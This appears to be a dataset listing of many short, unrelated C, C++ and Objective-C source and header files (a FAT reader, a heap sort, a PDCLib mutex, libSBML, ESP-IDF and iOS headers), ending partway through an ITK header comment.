text
stringlengths 4
6.14k
|
|---|
//
// Item.h
// Project 2
//
// Created by Josh Kennedy on 5/3/14.
// Copyright (c) 2014 Joshua Kennedy. All rights reserved.
//
#ifndef __Project_2__Item__
#define __Project_2__Item__
#include <string>
class Item
{
public:
Item();
virtual ~Item() = 0;
unsigned long getIdNumber() const;
virtual double getPrice() const;
std::string getName() const;
virtual void doSomething() = 0;
protected:
unsigned long idNumber;
std::string name;
};
#endif /* defined(__Project_2__Item__) */
|
#ifndef _GOALUNDO_H_
#define _GOALUNDO_H_
#include <stack>
#include <queue>
#include <string>
class GoalUndo
{
public:
void undoGoal();
void undoOperation();
void undoOperation(std::string);
std::string getOperations();
std::string getGoal();
void addOperation(std::string, std::string);
void addOperation(std::string);
private:
struct Goal{
std::string name;
std::vector <std::string> operations;
};
std::stack <Goal> goals;
};
#endif
|
#include "fat.h"
#include "disk.h"
#include "malloc.h"
void read_fs(struct fat_fs *b) {
read_sector((unsigned char *) &(b->bpb), 0, 0);
b->total_sectors = b->bpb.n_sectors;
b->fat_size = b->bpb.spf;
b->root_size = ((b->bpb.n_dirents * 32)
+ (b->bpb.bps - 1)) / b->bpb.bps;
b->first_data = b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size;
b->first_fat = b->bpb.n_hidden;
b->total_data = b->total_sectors
- (b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size);
b->total_clusters = b->total_data / b->bpb.spc;
}
struct fat_dirent *read_root_directory(struct fat_fs *b) {
struct fat_dirent *r = malloc(sizeof(struct fat_dirent) * b->bpb.n_dirents);
unsigned char *data = (unsigned char *) r;
unsigned int sector = b->first_data - b->root_size + 1;
unsigned int i;
for(i = 0; i < b->root_size; i++)
read_sector(data + (i * 512), 0, sector + i);
return r;
}
void parse_filename(char fname[11], char name[9], char ext[4]) {
int i;
for(i = 0; i < 8; i++) {
name[i] = fname[i];
if(fname[i] == ' ') {
name[i] = 0;
break;
}
}
for(i = 0; i < 3; i++)
ext[i] = fname[i + 8];
name[8] = ext[3] = 0;
}
unsigned int sector_from_fat(struct fat_fs *b, unsigned short fat_offset) {
unsigned char *fat = malloc(b->fat_size * b->bpb.bps);
unsigned short cluster;
unsigned int r;
cluster = fat[fat_offset];
cluster |= fat[fat_offset + 1];
if(cluster >= 0xFFF8) r = -1;
else r = cluster * b->bpb.spc;
free(fat);
return r;
}
|
#include<stdio.h>
void heap_sort(int[], int);
void build_max_heap(int[], int);
void max_heapify(int[],int,int);
void swap(int*, int*);
void display(int[],int);
int main(){
int n = 11;
int a[] = {55,3,2,5,77,44,65,53,88,31,9};
display(a,n);
heap_sort(a,n);
display(a,n);
return 0;
}
void heap_sort(int a[], int n){
int i;
int heap_size = n;
build_max_heap(a,n);
for(i = n-1; i > 0; i--){
swap(&a[0], &a[i]);
heap_size--;
max_heapify(a,0,heap_size);
}
}
void build_max_heap(int a[], int n){
int i;
int loop = (n-1)/2;
for(i = loop; i >= 0; i--){
max_heapify(a,i,n);
}
}
void max_heapify(int a[], int i, int heap_size){
int left = 2*i + 1;
int right = 2*i + 2;
int largest;
if(left < heap_size && a[left] > a[i]){
largest = left;
}
else{
largest = i;
}
if((right < heap_size) && (a[right] > a[largest])){
largest = right;
}
if(largest != i){
swap(&a[largest], &a[i]);
max_heapify(a, largest, heap_size);
}
}
void swap(int *a,int *b){
int temp;
temp = *a;
*a = *b;
*b = temp;
}
void display(int a[],int n){
int i;
printf("\n");
for(i = 0;i<n;i++){
printf("%d\t",a[i]);
}
}
|
// vi: nu:noai:ts=4:sw=4
//
// c_defs
//
// Created by bob on 1/14/19.
//
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org/>
*/
#include <cmn_defs.h>
#include <AStr.h>
#include <CsvFile.h>
#include <Path.h>
#include <trace.h>
#include <uuid/uuid.h>
//===============================================================
// M a i n
//===============================================================
int main(
int argc,
const
char * argv[]
)
{
//bool fRc;
uint8_t uuid[16];
uint32_t i;
char *pUUID = "A63EA833-7B46-45DD-B63D-4B9446ED845A";
int iRc;
uuid_t uuid2 = { 0xA6, 0x3E, 0xA8, 0x33, 0x7B, 0x46, 0x45,
0xDD, 0xB6, 0x3D, 0x4B, 0x94, 0x46, 0xED,
0x84, 0x5A
};
uuid_string_t uuid2str; // Internally seems to be char [37]
fprintf(stdout, "size of ptr: %d\n", (int)sizeof(long *));
fprintf(stdout, "size of long: %d\n", (int)sizeof(long));
fprintf(stdout, "size of int: %d\n", (int)sizeof(int));
fprintf(stdout, "size of short: %d\n", (int)sizeof(short));
fprintf(stdout, "size of uint64_t: %d\n", (int)sizeof(uint64_t));
fprintf(stdout, "size of uint32_t: %d\n", (int)sizeof(uint32_t));
fprintf(stdout, "size of uint16_t: %d\n", (int)sizeof(uint16_t));
// This is MacOS's way of dealing with UUIDs/GUIDs.
iRc = uuid_parse(pUUID, uuid);
fprintf(stdout, "parse ret=%d\n", iRc);
fprintf(stdout, "%s -> ", pUUID);
for (i=0; i<16; i++) {
fprintf(stdout, "0x%02X, ", uuid[i]);
}
fprintf(stdout, "\n");
uuid_unparse(uuid, uuid2str);
fprintf(stdout, "uuid: %s\n", uuid2str);
uuid_unparse(uuid2, uuid2str);
fprintf(stdout, "uuid2: %s\n", uuid2str);
fprintf(stdout, "\n\n\n");
return 0;
}
|
#include_next <cxxabi.h>
|
#ifndef REGTEST
#include <threads.h>
#include <windows.h>
int mtx_lock(mtx_t *mtx)
{
DWORD myId = GetCurrentThreadId();
if(mtx->_ThreadId == (long) myId) {
mtx->_NestCount++;
return thrd_success;
}
for(;;) {
LONG prev = InterlockedCompareExchange(&mtx->_ThreadId, myId, 0);
if(prev == 0)
return thrd_success;
DWORD rv = WaitForSingleObject(mtx->_WaitEvHandle, INFINITE);
if(rv != WAIT_OBJECT_0)
return thrd_error;
}
}
#endif
#ifdef TEST
#include "_PDCLIB_test.h"
int main( void )
{
return TEST_RESULTS;
}
#endif
|
//
// UITextView+PinchZoom.h
//
// Created by 余洪江 on 16/03/01.
// Copyright © MRJ. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UITextView (PinchZoom)
@property (nonatomic) CGFloat maxFontSize, minFontSize;
@property (nonatomic, getter = iszoomEnabled) BOOL zoomEnabled;
@end
|
//
// UIImage+IL_ContentWithColor.h
// ILDiligence
//
// Created by XueFeng Chen on 2017/5/14.
// Copyright © 2017年 XueFeng Chen. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UIImage (IL_ContentWithColor)
- (UIImage *)il_imageContentWithColor:(UIColor *)color;
@end
|
// -*- Mode: objc -*-
@import Cocoa;
#import "CoreConfigurationModel.h"
@interface KarabinerKitConfigurationManager : NSObject
@property(readonly) KarabinerKitCoreConfigurationModel* coreConfigurationModel;
+ (KarabinerKitConfigurationManager*)sharedManager;
- (void)save;
@end
|
// --------------------------------------------------------------------------
// Citadel: CfgFiles.h
//
// For figuring out how to configure ourselves.
#ifdef MAIN
char *citfiles[] =
{
"GRPDATA.CIT", "EXTERNAL.CIT", "CONFIG.CIT",
"CRON.CIT", "ROUTE.CIT", "HARDWARE.CIT",
"NODES.CIT", "FILEQTMP.CIT", "DEFUSER.CIT",
"CRASH.CIT", "MAILLIST.CIT", "PROTOCOL.CIT",
"MDMRESLT.CIT", "NETID.CIT", "MCI.CIT",
"TERMCAP.CIT", "COMMANDS.CIT",
NULL
};
#else
extern char *citfiles[];
#endif
enum
{
C_GRPDATA_CIT, C_EXTERNAL_CIT, C_CONFIG_CIT,
C_CRON_CIT, C_ROUTE_CIT, C_HARDWARE_CIT,
C_NODES_CIT, C_FILEQTMP_CIT, C_DEFUSER_CIT,
C_CRASH_CIT, C_MAILLIST_CIT, C_PROTOCOL_CIT,
C_MDMRESLT_CIT, C_NETID_CIT, C_MCI_CIT,
C_TERMCAP_CIT, C_COMMANDS_CIT,
MAXCIT,
};
enum
{
GRK_DAYS, GRK_GROUP, GRK_HOURS,
GRK_DAYINC, GRK_SPECIAL, GRK_PRIORITY,
GRK_MAXBAL, GRK_DLMULT, GRK_ULMULT,
GRK_NUM
};
enum
{
EC_EDITOR, EC_USERAPP, EC_AUTO_EDITOR,
EC_REPLACE, EC_DOOR, EC_C_AUTHOR,
EC_C_NODE, EC_C_TEXT, EC_HOLIDAY,
EC_HOLIDAYWITHYEAR, EC_EVENT, EC_ARCHIVER,
EC_DIRECTORY, EC_RLM, EC_REFUSER,
EC_NETCOMMAND, EC_BANPORT,
EC_NUM
};
enum
{
PR_PROTOCOL, PR_MENU_NAME, PR_COMMAND_KEY,
PR_BATCH, PR_BLOCK_SIZE, PR_RECEIVE,
PR_SEND, PR_AUTO_UPLOAD, PR_RESPONSE_SEND,
PR_NET_ONLY, PR_CHECK_TRANSFER,
PR_NUM
};
enum
{
DUK_FORWARD, DUK_SURNAME, DUK_TITLE,
DUK_BOLD, DUK_NULLS, DUK_WIDTH,
DUK_CREDITS, DUK_INVERSE, DUK_BLINK,
DUK_UNDERLINE, DUK_PROTOCOL, DUK_PROMPT,
DUK_DSTAMP, DUK_VDSTAMP, DUK_SIGNATURE,
DUK_NETPREFIX, DUK_ADDR2, DUK_ADDR3,
DUK_POOP, DUK_UCMASK, DUK_EXPERT,
DUK_AIDE, DUK_TABS, DUK_OLDTOO,
DUK_UNLISTED, DUK_PERMANENT, DUK_SYSOP,
DUK_NODE, DUK_NOACCOUNT, DUK_NOMAIL,
DUK_ROOMTELL, DUK_BORDERS, DUK_VERIFIED,
DUK_SURNAMLOK, DUK_LOCKHALL, DUK_DISPLAYTS,
DUK_SUBJECTS, DUK_SIGNATURES, DUK_DEFAULTHALL,
DUK_LINESSCREEN, DUK_FORWARDNODE, DUK_ADDR1,
DUK_LFMASK, DUK_PROBLEM, DUK_NETUSER,
DUK_NEXTHALL, DUK_PSYCHO, DUK_TWIRLY,
DUK_VERBOSE, DUK_MSGPAUSE, DUK_MINIBIN,
DUK_MSGCLS, DUK_ROOMINFO, DUK_HALLTELL,
DUK_VERBOSECONT, DUK_VIEWCENSOR, DUK_SEEBORDERS,
DUK_OUT300, DUK_LOCKUSIG, DUK_HIDEEXCL,
DUK_NODOWNLOAD, DUK_NOUPLOAD, DUK_NOCHAT,
DUK_PRINTFILE, DUK_REALNAME, DUK_PHONENUM,
DUK_SPELLCHECK, DUK_NOMAKEROOM, DUK_VERBOSELO,
DUK_CONFSAVE, DUK_CONFABORT, DUK_CONFEOABORT,
DUK_USEPERSONAL, DUK_YOUAREHERE, DUK_IBMROOM,
DUK_WIDEROOM, DUK_MUSIC, DUK_MOREPROMPT,
DUK_NUMUSERSHOW, DUK_CALLLIMIT, DUK_CHECKAPS,
DUK_CHECKALLCAPS, DUK_CHECKDIGITS, DUK_EXCLUDEENCRYPTED,
DUK_SHOWCOMMAS, DUK_PUNPAUSES, DUK_KUSER,
DUK_KTEXT, DUK_KNODE, DUK_KREG,
DUK_TUSER, DUK_DICTWORD, DUK_FINGER,
DUK_USERDEF, DUK_REPLACE, DUK_NORMAL,
DUK_ROMAN, DUK_TERMTYPE, DUK_SUPERSYSOP,
DUK_BUNNY, DUK_SSE_LOGONOFF, DUK_SSE_NEWMSG,
DUK_SSE_EXCLMSG, DUK_SSE_CHATALL, DUK_SSE_CHATROOM,
DUK_SSE_CHATGROUP, DUK_SSE_CHATUSER, DUK_SSE_RMINOUT,
DUK_BANNED, DUK_KILLOWN, DUK_SEEOWNCHATS,
DUK_ERASEPROMPT, DUK_AUTOIDLESECONDS, DUK_SSE_MSGSOMEWHERE,
DUK_NUM
};
enum TermCapCitE
{
TCK_TERMINAL, TCK_IBMUPPER, TCK_COLOR,
TCK_TERMTYPE, TCK_CLS, TCK_FORECOLOR,
TCK_BACKCOLOR, TCK_FULLCOLOR, TCK_HIGHFORECOLOR,
TCK_HIGHBOTHCOLOR, TCK_UNDERLINE, TCK_BLINK,
TCK_NORMAL, TCK_REVERSE, TCK_BOLD,
TCK_DELEOL, TCK_SAVECURS, TCK_RESTORECURS,
TCK_BLANKFOR1CURS, TCK_CURSUP, TCK_CURSDOWN,
TCK_CURSLEFT, TCK_CURSRIGHT, TCK_ROWSTART,
TCK_COLSTART, TCK_BLANKFORTLCUR, TCK_ABSCURSPOS,
TCK_NUM
};
#define CONFIGDDSTART 1
#define CONFIGDDEND 7
#define GRPDATADDSTART 8
#define GRPDATADDEND 8
#define EXTERNALDDSTART 9
#define EXTERNALDDEND 10
#define PROTOCOLDDSTART 11
#define PROTOCOLDDEND 11
#define MDMRESLTDDSTART 12
#define MDMRESLTDDEND 12
#define MCIDDSTART 13
#define MCIDDEND 13
#define COMMANDSDDSTART 14
#define COMMANDSDDEND 14
|
/**
* @file XMLConstructorException.h
* @brief XMLConstructorException an exception thrown by XML classes
* @author Ben Bornstein
*
* <!--------------------------------------------------------------------------
* This file is part of libSBML. Please visit http://sbml.org for more
* information about SBML, and the latest version of libSBML.
*
* Copyright (C) 2013-2015 jointly by the following organizations:
* 1. California Institute of Technology, Pasadena, CA, USA
* 2. EMBL European Bioinformatics Institute (EMBL-EBI), Hinxton, UK
* 3. University of Heidelberg, Heidelberg, Germany
*
* Copyright (C) 2009-2013 jointly by the following organizations:
* 1. California Institute of Technology, Pasadena, CA, USA
* 2. EMBL European Bioinformatics Institute (EMBL-EBI), Hinxton, UK
*
* Copyright (C) 2006-2008 by the California Institute of Technology,
* Pasadena, CA, USA
*
* Copyright (C) 2002-2005 jointly by the following organizations:
* 1. California Institute of Technology, Pasadena, CA, USA
* 2. Japan Science and Technology Agency, Japan
*
* This library is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation. A copy of the license agreement is provided
* in the file named "LICENSE.txt" included with this software distribution
* and also available online as http://sbml.org/software/libsbml/license.html
* ------------------------------------------------------------------------ -->
*
* @class XMLConstructorException
* @sbmlbrief{core} Exceptions thrown by some libSBML constructors.
*
* @htmlinclude not-sbml-warning.html
*
* In some situations, constructors for SBML objects may need to indicate
* to callers that the creation of the object failed. The failure may be
* for different reasons, such as an attempt to use invalid parameters or a
* system condition such as a memory error. To communicate this to
* callers, those classes will throw an XMLConstructorException. @if cpp
* Callers can use the standard C++ <code>std::exception</code> method
* <code>what()</code> to extract the diagnostic message stored with the
* exception.@endif@~
* <p>
* In languages that don't have an exception mechanism (e.g., C), the
* constructors generally try to return an error code instead of throwing
* an exception.
*
* @see SBMLConstructorException
*/
#ifndef XMLConstructorException_h
#define XMLConstructorException_h
#include <sbml/common/sbmlfwd.h>
#ifdef __cplusplus
#include <string>
#include <stdexcept>
LIBSBML_CPP_NAMESPACE_BEGIN
class LIBSBML_EXTERN XMLConstructorException : public std::invalid_argument
{
public:
/** @cond doxygenLibsbmlInternal */
/* constructor */
XMLConstructorException (std::string
message="NULL reference in XML constructor");
/** @endcond */
};
LIBSBML_CPP_NAMESPACE_END
#endif /* __cplusplus */
#ifndef SWIG
LIBSBML_CPP_NAMESPACE_BEGIN
BEGIN_C_DECLS
END_C_DECLS
LIBSBML_CPP_NAMESPACE_END
#endif /* !SWIG */
#endif /* XMLConstructorException_h */
|
/**
@author Admino Technologies Oy
Copyright 2013 Admino Technologies Oy. All rights reserved.
See LICENCE for conditions of distribution and use.
@file
@brief */
#pragma once
#include "CloudRenderingPluginApi.h"
#include "CloudRenderingPluginFwd.h"
#include "IModule.h"
class CLOUDRENDERING_API CloudRenderingPlugin : public IModule
{
Q_OBJECT
public:
CloudRenderingPlugin();
~CloudRenderingPlugin();
/// IModule override.
void Initialize();
/// IModule override.
void Uninitialize();
public slots:
WebRTCRendererPtr Renderer() const;
WebRTCClientPtr Client() const;
bool IsRenderer() const;
bool IsClient() const;
private:
QString LC;
WebRTCRendererPtr renderer_;
WebRTCClientPtr client_;
};
|
#ifndef LOG_H
#define LOG_H
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include <proton/import_export.h>
#include <proton/type_compat.h>
#ifdef __cplusplus
extern "C" {
#endif
/**
* @cond INTERNAL
*/
/**
* @file
*
* Control log messages that are not associated with a transport.
* See pn_transport_trace for transport-related logging.
*/
/**
* Callback for customized logging.
*/
typedef void (*pn_logger_t)(const char *message);
/**
* Enable/disable global logging.
*
* By default, logging is enabled by environment variable PN_TRACE_LOG.
* Calling this function overrides the environment setting.
*/
PN_EXTERN void pn_log_enable(bool enabled);
/**
* Set the logger.
*
* By default a logger that prints to stderr is installed.
*
* @param logger is called with each log message if logging is enabled.
* Passing 0 disables logging regardless of pn_log_enable() or environment settings.
*/
PN_EXTERN void pn_log_logger(pn_logger_t logger);
/**
* @endcond
*/
#ifdef __cplusplus
}
#endif
#endif
|
/*
The MIT License
Copyright (c) 2009 - 2014 Liam Devine
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#ifndef OOLUA_CHAR_ARRAYS_H_
# define OOLUA_CHAR_ARRAYS_H_
/** \cond INTERNAL*/
/**
\file char_arrays.h
\brief This file is to do away with magic string literals whilst also not
paying the cost of a strlen
*/
namespace OOLUA
{
namespace INTERNAL
{
static const char change_mt_to_none_const_field[] = "__change_mt_to_none_const";
static const char set_owner_str[] = "set_owner";
static const char lua_owns_str[] = "Lua_owns";
static const char cpp_owns_str[] = "Cpp_owns";
static const char weak_lookup_name [] = "__weak_lookup";
static const char collision_mt_lookup_name [] = "__weak_collision_mt_lookup";
static const char new_str [] = "new";
static const char oolua_str [] = "OOLua";
static const char lua_new_table [] = "new_table";
} // namespace INTERNAL // NOLINT
} // namespace OOLUA // NOLINT
#define OOLUA_PUSH_CARRAY(lua, carray) lua_pushlstring(lua, carray, sizeof(carray)-1)
/** \endcond */
#endif
|
//
// XABCheckJobViewController.h
// XAnBao
//
// Created by Minlay on 17/3/29.
// Copyright © 2017年 Minlay. All rights reserved.
//
#import "YBBaseViewController.h"
@interface XABCheckJobViewController : YBBaseViewController
@property(nonatomic, copy)NSString *classId;
@property(nonatomic, assign)NSInteger type;
@property(nonatomic, copy)NSString *className;
@end
|
//
// DFShortVideoMessageContent.h
// MongoIM
//
// Created by Allen Zhong on 16/2/14.
// Copyright © 2016年 MongoIM. All rights reserved.
//
#import "DFMediaMessageContent.h"
#import <UIKit/UIKit.h>
#import "DFVideoDecoder.h"
@interface DFShortVideoMessageContent : DFMediaMessageContent
@property (nonatomic, strong) UIImage *cover;
@property (nonatomic, strong) NSString *url;
@property (nonatomic, strong) NSString *filePath;
@property (nonatomic, strong) DFVideoDecoder *decorder;
@end
|
#ifdef __OBJC__
#import <UIKit/UIKit.h>
#endif
FOUNDATION_EXPORT double Pods_CommuneUITestsVersionNumber;
FOUNDATION_EXPORT const unsigned char Pods_CommuneUITestsVersionString[];
|
//
// Copyright 2011 ODIN Working Group. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#import <Foundation/Foundation.h>
NSString * MCMODIN1();
|
/*
* SPDX-FileCopyrightText: 2015-2022 Espressif Systems (Shanghai) CO LTD
*
* SPDX-License-Identifier: Apache-2.0
*/
#pragma once
#include "esp_bit_defs.h"
/// Mask of interrupts sending to the host.
typedef enum {
SDIO_SLAVE_HOSTINT_BIT0 = BIT(0), ///< General purpose interrupt bit 0.
SDIO_SLAVE_HOSTINT_BIT1 = BIT(1),
SDIO_SLAVE_HOSTINT_BIT2 = BIT(2),
SDIO_SLAVE_HOSTINT_BIT3 = BIT(3),
SDIO_SLAVE_HOSTINT_BIT4 = BIT(4),
SDIO_SLAVE_HOSTINT_BIT5 = BIT(5),
SDIO_SLAVE_HOSTINT_BIT6 = BIT(6),
SDIO_SLAVE_HOSTINT_BIT7 = BIT(7),
SDIO_SLAVE_HOSTINT_SEND_NEW_PACKET = BIT(23), ///< New packet available
} sdio_slave_hostint_t;
/// Timing of SDIO slave
typedef enum {
SDIO_SLAVE_TIMING_PSEND_PSAMPLE = 0,/**< Send at posedge, and sample at posedge. Default value for HS mode.
* Normally there's no problem using this to work in DS mode.
*/
SDIO_SLAVE_TIMING_NSEND_PSAMPLE ,///< Send at negedge, and sample at posedge. Default value for DS mode and below.
SDIO_SLAVE_TIMING_PSEND_NSAMPLE, ///< Send at posedge, and sample at negedge
SDIO_SLAVE_TIMING_NSEND_NSAMPLE, ///< Send at negedge, and sample at negedge
} sdio_slave_timing_t;
/// Configuration of SDIO slave mode
typedef enum {
SDIO_SLAVE_SEND_STREAM = 0, ///< Stream mode, all packets to send will be combined as one if possible
SDIO_SLAVE_SEND_PACKET = 1, ///< Packet mode, one packets will be sent one after another (only increase packet_len if last packet sent).
} sdio_slave_sending_mode_t;
|
//
// YRMConst.h
// Budejie
//
// Created by 叶仁明 on 2017/2/6.
// Copyright © 2017年 叶仁明. All rights reserved.
//
#import <UIKit/UIKit.h>
UIKIT_EXTERN CGFloat const YRMTitlesViewH;
UIKIT_EXTERN CGFloat const YRMTitlesViewY;
UIKIT_EXTERN CGFloat const YRMTopicCellTextY;
UIKIT_EXTERN CGFloat const YRMTopicCellBottomToolBarH;
UIKIT_EXTERN CGFloat const YRMTopicCellMargin;
//图片最大的高度,超过该高度显示查看完整图片的按钮
UIKIT_EXTERN CGFloat const YRMTopicCellPictureMaxH;
//图片超过最大高度时,显示的截取图片的高度
UIKIT_EXTERN CGFloat const YRMTopicCellPictureBreakH;
|
// -----------------------------------------------------------------------------
// Copyright 2011-2012 Patrick Näf ([email protected])
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// -----------------------------------------------------------------------------
// Project includes
#include "TableViewCellFactory.h"
// -----------------------------------------------------------------------------
/// @brief The UiUtilities class is a container for various utility functions
/// related to UI controls.
///
/// All functions in UiUtilities are class methods, so there is no need to
/// create an instance of UiUtilities.
// -----------------------------------------------------------------------------
@interface UiUtilities : NSObject
{
}
+ (double) radians:(double)degrees;
+ (CGFloat) tableView:(UITableView*)tableView heightForCellOfType:(enum TableViewCellType)type withText:(NSString*)text hasDisclosureIndicator:(bool)hasDisclosureIndicator;
+ (BOOL) shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation;
+ (void) createTableViewWithStyle:(UITableViewStyle)tableViewStyle forController:(UIViewController*)viewController;
+ (void) addGroupTableViewBackgroundToView:(UIView*)view;
+ (UIImage*) gradientImageWithSize:(CGSize)size startColor:(UIColor*)startColor endColor:(UIColor*)endColor;
+ (void) drawLinearGradientWithContext:(CGContextRef)context rect:(CGRect)rect startColor:(CGColorRef)startColor endColor:(CGColorRef)endColor;
@end
|
#import <Cocoa/Cocoa.h>
FOUNDATION_EXPORT double SwiftHTTPVersionNumber;
FOUNDATION_EXPORT const unsigned char SwiftHTTPVersionString[];
|
/**
* Appcelerator Titanium Mobile
* Copyright (c) 2009-2015 by Appcelerator, Inc. All Rights Reserved.
* Licensed under the terms of the Apache Public License
* Please see the LICENSE included with this distribution for details.
*
* WARNING: This is generated code. Modify at your own risk and without support.
*/
#import <Foundation/Foundation.h>
#import "Bridge.h"
#import "TiToJS.h"
#import "TiEvaluator.h"
#import "TiProxy.h"
#import "KrollContext.h"
#import "KrollObject.h"
#import "TiModule.h"
#include <libkern/OSAtomic.h>
#ifdef KROLL_COVERAGE
# import "KrollCoverage.h"
@interface TiTodoSampleObject : KrollCoverageObject {
#else
@interface TiTodoSampleObject : KrollObject {
#endif
@private
NSMutableDictionary *modules;
TiHost *host;
id<TiEvaluator> pageContext;
NSMutableDictionary *dynprops;
}
-(id)initWithContext:(KrollContext*)context_ host:(TiHost*)host_ context:(id<TiEvaluator>)context baseURL:(NSURL*)baseURL_;
-(id)addModule:(NSString*)name module:(TiModule*)module;
-(TiModule*)moduleNamed:(NSString*)name context:(id<TiEvaluator>)context;
@end
extern NSString * TiTodoSample$ModuleRequireFormat;
@interface KrollBridge : Bridge<TiEvaluator,KrollDelegate> {
@private
NSURL * currentURL;
KrollContext *context;
NSDictionary *preload;
NSMutableDictionary *modules;
TiTodoSampleObject *_titodosample;
KrollObject* console;
BOOL shutdown;
BOOL evaluationError;
//NOTE: Do NOT treat registeredProxies like a mutableDictionary; mutable dictionaries copy keys,
//CFMutableDictionaryRefs only retain keys, which lets them work with proxies properly.
CFMutableDictionaryRef registeredProxies;
NSCondition *shutdownCondition;
OSSpinLock proxyLock;
}
- (void)boot:(id)callback url:(NSURL*)url_ preload:(NSDictionary*)preload_;
- (void)evalJSWithoutResult:(NSString*)code;
- (id)evalJSAndWait:(NSString*)code;
- (BOOL)evaluationError;
- (void)fireEvent:(id)listener withObject:(id)obj remove:(BOOL)yn thisObject:(TiProxy*)thisObject;
- (id)preloadForKey:(id)key name:(id)name;
- (KrollContext*)krollContext;
+ (NSArray *)krollBridgesUsingProxy:(id)proxy;
+ (BOOL)krollBridgeExists:(KrollBridge *)bridge;
+ (KrollBridge *)krollBridgeForThreadName:(NSString *)threadName;
+ (NSArray *)krollContexts;
-(void)enqueueEvent:(NSString*)type forProxy:(TiProxy *)proxy withObject:(id)obj;
-(void)registerProxy:(id)proxy krollObject:(KrollObject *)ourKrollObject;
-(int)forceGarbageCollectNow;
@end
|
//
// SVNAuthenticationProvider.h
// SVNKit
//
// Created by Patrick McDonnell on 8/9/14.
//
#import "SVNAPRPool.h"
@class SVNAuthenticationProvider, SVNAuthenticationCredentials;
@protocol SVNAuthenticationDataSource <NSObject>
@optional
-(BOOL)SVNAuthenticationProvider:(SVNAuthenticationProvider *)provider simpleCredential:(SVNAuthenticationCredentials *)credentials;
-(BOOL)SVNAuthenticationProvider:(SVNAuthenticationProvider *)provider usernameCredential:(SVNAuthenticationCredentials *)credentials;
@end
@interface SVNAuthenticationProvider : SVNAPRPool
@property (nonatomic, readonly) apr_array_header_t *providers;
@property (nonatomic) id<SVNAuthenticationDataSource> dataSource;
@end
|
enum{V};
enum{K}ABC;
enum{Global = 10,Window}Type;
|
/*=========================================================================
*
* Copyright NumFOCUS
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
//
// Created by Jean-Marie Mirebeau on 05/03/2014.
//
//
#ifndef itkStructureTensorImageFilter_h
#define itkStructureTensorImageFilter_h
#include "itkCastImageFilter.h"
#include "itkGradientRecursiveGaussianImageFilter.h"
#include "itkAddImageFilter.h"
#include "itkVectorIndexSelectionCastImageFilter.h"
#include "itkGradientImageFilter.h"
#include "itkSymmetricSecondRankTensor.h"
namespace itk
{
/**
* \class StructureTensorImageFilter
*
* \brief Computes the structure tensor.
*
